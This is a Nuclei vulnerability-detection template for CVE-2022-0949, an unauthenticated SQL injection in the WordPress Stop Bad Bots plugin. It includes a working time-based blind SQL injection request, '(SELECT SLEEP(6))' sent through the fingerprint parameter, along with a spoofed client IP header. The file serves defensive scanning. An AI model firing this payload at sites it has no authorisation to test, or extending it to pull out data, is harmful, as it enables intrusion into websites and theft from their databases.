nuclei-templates/http/cves/2022/CVE-2022-0949.yaml

62 lines
2.5 KiB
YAML

id: CVE-2022-0949
info:
name: WordPress Stop Bad Bots <6.930 - SQL Injection
author: theamanrawat
severity: critical
description: |
WordPress Stop Bad Bots plugin before 6.930 contains a SQL injection vulnerability. The plugin does not properly sanitise and escape the fingerprint parameter before using it in a SQL statement via the stopbadbots_grava_fingerprint AJAX action, available to unauthenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
remediation: Fixed in version 6.930.
reference:
- https://wpscan.com/vulnerability/a0fbb79a-e160-49df-9cf2-18ab64ea66cb
- https://wordpress.org/plugins/stopbadbots/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0949
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-0949
cwe-id: CWE-89
epss-score: 0.05057
epss-percentile: 0.9206
cpe: cpe:2.3:a:stopbadbots:block_and_stop_bad_bots:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 3
vendor: stopbadbots
product: block_and_stop_bad_bots
framework: wordpress
tags: cve,stopbadbots,wp-plugin,wp,unauth,wpscan,cve2022,sqli,wordpress
variables:
IP: '{{rand_ip("1.1.1.0/24")}}'
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
X-Real-IP: {{IP}}
Content-Type: application/x-www-form-urlencoded
action=stopbadbots_grava_fingerprint&fingerprint=0
- |
@timeout 10s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
X-Real-IP: {{IP}}
Content-Type: application/x-www-form-urlencoded
action=stopbadbots_grava_fingerprint&fingerprint=(SELECT SLEEP(6))
- |
GET /wp-content/plugins/stopbadbots/assets/js/stopbadbots.js HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration_2>=6'
- 'status_code_2 == 200'
- 'contains(body_3, "commentform")'
condition: and
# digest: 4b0a00483046022100c487d772382761c3db6af26485123c68d8be922835b1599238e1fb1287dc9c30022100e72ee4b91374476f6d99a718ae8576e5ee7b6c5bf5551e9aba897b1f53223bef:922c64590222798bb761d5b6d8e72950